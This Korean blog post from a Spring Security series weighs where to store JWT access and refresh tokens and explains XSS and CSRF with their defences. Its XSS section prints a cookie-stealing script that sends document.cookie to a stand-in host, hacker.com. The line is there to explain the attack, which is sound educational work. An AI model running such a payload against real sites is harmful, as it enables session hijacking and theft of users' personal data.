Spring Security 적용기 (4) JWT(JSON Web Tokens) 어디에 저장할 것인가?

이전 포스팅에서 JWT의 개념에 대해 알아보았다. 

2024.04.29 - [Study/Java] - Spring Security 적용기 (3) JWT(JSON Web Tokens) 개념

 

JWT 구현을 생각하다보니 access token과 refresh token을 어디에 저장해야 좋은지에 대해 고민하게 되었다. 

이와 관련하여 많은 분들이 고민하고 작성한 글들이 있어 이를 이해하고 나는 어떻게 할 것인지 결론을 내리고자 한다.  

---

JWT 발급 프로세스 

 

1. 클라이언트가 로그인시 인증 서버에서 Access Token과 Refresh Token을 발급한다. 

2. 이후 사용자는 API 요청시 요청 헤더에 Access Token을 넣어 요청한다. 

3. 유효한  Token인 경우에만 클라이언트는 정상적으로 요청을 할 수 있다. 

4. 만약 Access Token은 만료되었다면, Refresh Token을 검증하여 다시 Access Token을 발급 받을 수 있다. 

 

간단하게 정리한 JWT 발급 프로세스이다. JWT에는 개인정보를 담고 있는데, 인증서버/API서버와 클라이언트간 요청과 응답을 주고 받으면 탈취 또한 일어날 수 있다는 문제점이 있다. 

---

JWT 탈취와 공격 방법

JWT가 탈취된다면 심각한 보안 위험이 발생할 수 있다. 

첫 번째로 탈취된 JWT를 사용하여 공격자가 해당 사용자로 위장해 시스템에 접근할 수 있다. 이는 사용자 계정에 대한 권한을 가로채고, 그들의 명의로 악의적인 행동을 할 수 있다는 뜻이다. 

두 번째, JWT에는 사용자 정보가 포함되어 있으므로 사용자의 개인정보가 노출될 수 있다. 

 

이렇게 JWT가 탈취될 수 있는 주요 공격으로 XSS 공격과 CSRF 공격이 있다. 

 

🥊 XSS 공격

XSS(Cross-site Scripting), 크로스 사이트 스크립트는 웹사이트에서 의도치 않은 스크립트를 넣어서 실행시키는 기법을 말한다. 웹 애플리케이션이 사용자로부터 입력 받은 값을 제대로 검사하지 않고 사용할 경우 발생한다. 

공격 결과 사용자는 의도치 않은 동작을 수행하거나 쿠키, 세션 등의 정보를 탈취 당할 수 있다. 

 

보통 게시판에 악성 스크립트가 담긴 글을 올리는 형태로 이루어지며, 악성 스크립트가 포함된 글을 열어보면 브라우저에서 원치 않는 스크립트가 실행된다. 이를 통해 유저의 쿠키 정보를 탈취하거나, 유저 비밀번호를 변경하는 API 호출 등의 행위를 할 수 있다. 

 

예를 들어 게시글에 아래와 같은 태그를 넣고 누르게끔 유도하면 javascript가 실행되는데 

<a href="javascript:alert('hello world')">클릭해보세요</a>

 

사용자는 클릭 결과 hello world라는 alert 창을 볼 수 있지만, 실제로는

 

<script>document.location='http://hacker.com/cookie?'+document.cookie</script>

 

사용자가 가지고 있는 쿠키 또는 LocalStorage 값을 해커의 서버로 전송할 수 있게 된다. 

만약 쿠키 혹은 LocalStorage에 JWT가 저장되어 있다면 JWT 또한 탈취당할 수 있다. 

 

CSS 공격을 방지하기 위해 아래와 같은 방안이 있다. 

1. 중요한 정보는 쿠키 대신 서버에 저장한다. 

2. 정보를 암호화한다. 

3. httpOnly 옵션을 설정한다. (document.cookie를 이용해 쿠키에 직접 접근하는 것을 방지한다.)

4. URL encoding이나 문자열을 치환한다. 

 

🥊 CSRF(Cross-site Request Forgery)

사용자가 자신의 의지와는 무관하게 침입자가 의도한 행위를 서버에 요청하게 만드는 공격이다. 

 

 

1. 침입자는 서버로 넘어가는 자금 전송에 대한 요청을 조작하려고 한다. 

2. 침입자는 하이퍼링크에 자금 전송 요청에 대한 스크립트를 삽입하고 사이트에 로그인할 사람들에게 전송한다. 

3. 사용자가 링크를 누르면, 의도치 않게 서버로 자금 전송 요청을 보내게 된다. 

4. 서버는 로그인 된 사용자의 요청이므로 정상적으로 인식하고 전송을 실행하여 침입자에게 돈이 송금된다. 

 

이렇게 CSRF가 실행되려면 아래 조건을 만족해야 한다. 

첫번째, 사용자가 사이트에 로그인한 상태여야 한다. 

두번째, 사용자는 조작된 페이지에 방문해야 한다

 

CSRF 공격을 방지하기 위해서는 아래와 같은 방법이 있다. 

1. 요청 헤더(Request Header)의 도메인이 일치하는지 refferer 속성을 검증한다. 만약 같은 도메인의 요청이 아니라면 차단한다. 

2. CSRF Token을 사용한다. 랜덤한 UUID와 같은 임의의 난수를 세션에 저장해두고 해당 난수가 전달되지 않으면 요청을 거부한다. 

3. Security Token을 사용한다. 사용자 세션에 암호화된 값을 저장하고 사용자의 요청마다 해당 암호화된 값을 포함시켜 전송한다. 이후 서버에서 요청을 받을 때마다 세션에 저장된 토큰 값과 요청에 전달되는 토큰 값이 일치하는지 확인한다. 

 

🥊 XSS vs CSRF

두 공격을 비교하자면

1. XSS는 사용자가 특정 사이트를 신뢰하기 때문에 발생하는 문제라면, 

    → 사용자는 해당 사이트를 믿고 악성 스크립트가 담긴 게시물을 읽음

    CSRF는 특정 사이트가 사용자를 신뢰하기 때문에 발생하는 문제다. 

    → 사이트가 사용자가 인증된 사용자임을 믿기 때문에 위조된 요청을 수행

2. XSS는 클라이언트의 브라우저에서 발생하는 문제이고,

    → 클라이언트의 브라우저가 악성 스크립트를 실행

    CSRF는 서버에서 발생하는 문제이다. 

    → 악성 요청을 받은 서버가 해당 요청을 수행

3. XSS는 사용자의 쿠키를 탈취할 수 있고,

    → javascript(ex. document.cookie)를 통해 쿠키에 접근 가능

    CSRF는 서버로부터 권한을 탈취할 수 있다. 

   → 사용자의 권한 남용

 

그렇다면 JWT는 어디에 저장하는 것이 좋을까?

---

JWT 저장 위치

JWT는 SessionStorage, LocalStorage, Cookies, private variable(비공개 변수)에 저장할 수 있다.

이 중에서도 LocalStorage 혹은 Cookie에 많이 저장하는 것으로 보인다. 

그럼 각각의 저장 위치에 대한 차이를 알아보도록 하자. 

 

💾 SessionStorage

페이지를 새로고침하거나 이동하여도 토큰이 유지되지만 새로운 탭에서 접속시 세션이 나누어지고, 브라우저가 종료되는 순간 휘발되어 사용자 경험에 좋지 않다. 

 

💾 LocalStorage

페이지를 이동하거나 브라우저를 다시 시작하여도 만료 없이 유지된다. 하지만 세션 스토리지와 동일하게 모든 자바스크립트 코드를 통해 접근할 수 있어 XSS 공격에 취약하다. 그러나 LocalStorage에 저장된 데이터는 SameSite 쿠키 속성을 사용하여 서버로 전송되지 않는다. 따라서 CSRF 공격에는 안전하다. 

 

💾 Cookie

옵션 없이 기본적으로 작동되는 쿠키는 XSS, CSRF(쿠키는 자동으로 모든 HTTP 요청에 포함되기 때문) 모두에 취약하다. 그러나 Cookie는 HttpOnly 속성 설정을 통해 script에서 Cookie를 접근 불가능하도록 하여 XSS 공격을 방어할 수 있다. 

반면, CSRF 방어를 위해서는 가능한 방법 중 하나가 JWT를 Cookie가 아닌 Header에 넣고 요청을 보내는 것이다. 이럴 경우 CSFR 공격을 통해 쿠키가 전달되도 서버에서는 Cookie 값을 사용하지 않기 때문에 CSRF를 통한 공격을 방어할 수 있다. 하지만 Header에 Cookie를 넣기 위해서는 JS에서 요청을 보낼때 HttpOnly 옵션을 해제 해야 한다. 

다른 방법으로는 백엔드에서 Secure, SameSite 옵션 등을 사용하여 특정 도메인에서만 요청이 가능하도록 설정이 가능하다. 

 

Cookie SameSite

외부 사이트에 쿠키를 전송할 범위를 설정할 수 있다. 속성은 총 3가지다. 

1. Strict : 쿠키를 전달할 때 현재 페이지 도메인과 요청받는 도메인이 같아야 쿠키를 전송한다. 

2. Lax : Strict에서 <a href>, <link href>, GET Method 요청을 제외하고는 Strict와 동일하다. 

3. None : 도메인을 검증하지 않는다. 대신 secure 옵션이 필수다. 

 

💾 Private Variable

가장 안전하지만 페이지를 이동하거나, 새로고침만 하여도 토큰 정보가 휘발되어 사용자 경험에 좋지 않다. 

 

XSS와 CRSF를 모두 방어하기 위해서는 HttpOnly 옵션이 설정된 쿠키에 JWT를 저장하고, 백엔드에서 HttpOnly 옵션과 SameSite Lax 설정을 통해 특정 도메인에서만 접근 가능하도록 하는 것이 안전할 것 같다는 생각이 든다. 

---

Refresh Token과 Access Token을 모두 쿠키에 저장해?

이번에 드는 생각은 "Refresh Token과 Access Token을 모두 쿠키에 저장해야 하는가?"이다. 

이렇게 되면 안전하게 설정을 해두었다 하더라도 보안이 뚫리면 모두 같이 탈취당하게 되는데 이를 방어하기 위해 서로 다른 저장소에 저장해야 하는 것이 아닐까 라는 생각이다. 

그래서 생각한 방법은 아래 두가지 방법이다. 

 

방법 1. Access Token : LocalStorage / Refresh Token : Cookie(HttpOnly, samesite-lax)

- 이 경우 새로고침을 하거나 브라우저를 다시 실행해도 토큰을 저장하고 있으므로 사용자 사용성이 증가한다. 

- 그러나 XSS로 인해 Access Token을 탈취당할 수 있다. 그러나 Refresh Token은 HttpOnly 옵션으로 탈취가 불가능하다. 

- 또한 두 토큰 모두 CSRF에 대해서는 어느정도 보호가 된다. 

 

방법 2. Access Token : 비공개 변수 / Refresh Token : Cookie(HttpOnly, samesite-lax)

- 두 개의 토큰 모두 XSS와 CSRF에 대해 방어가 된다. 

- 그러나 Access Token의 경우 브라우저를 새로고침하거나 페이지 이동시 토큰이 휘발되어 Refresh Token 검증이 자주 일어나며, Access Token을 자주 생성해야 하므로 사용자 경험이 저하될 수 있으며 서버에 추가적이 부하가 발생할 수 있다. 

---

그래서 나의 결론은?

해당 내용들을 종합한 결과이다. (물론 내가 조사한 것이 다가 아닐 수 있다.) 

 

그러나 이제까지의 내용을 토대로 정리를 했을 때, 나는 Access Token은 LocalStorage에 저장하고, JWT에는 전화번호와 같은 민감한 정보는 저장하지 않고, 만료시간을 다소 짧게 유지하고, Refresh Token은 Cookie에 저장하고 HttpOnly 옵션과 Same-Site lax 설정을 통해 CSRF와 XSS의 위험, 동시 JWT 탈취의 위험을 방지하는게 나을 것이라 생각한다.  

---

참고자료

https://velog.io/@haizel/XSS%EC%99%80CSRF-%EC%B0%A8%EC%9D%B4%EC%A0%90-%EB%B0%8F-%EB%8C%80%EC%9D%91-%EB%B0%A9%EC%95%88

XSS와 CSRF 차이점 및 대응 방안

https://prolog.techcourse.co.kr/studylogs/2272

우아한테크코스 학습로그 저장소

https://cjw-awdsd.tistory.com/48

JWT 저장소에 대한 고민(feat. XSS, CSRF)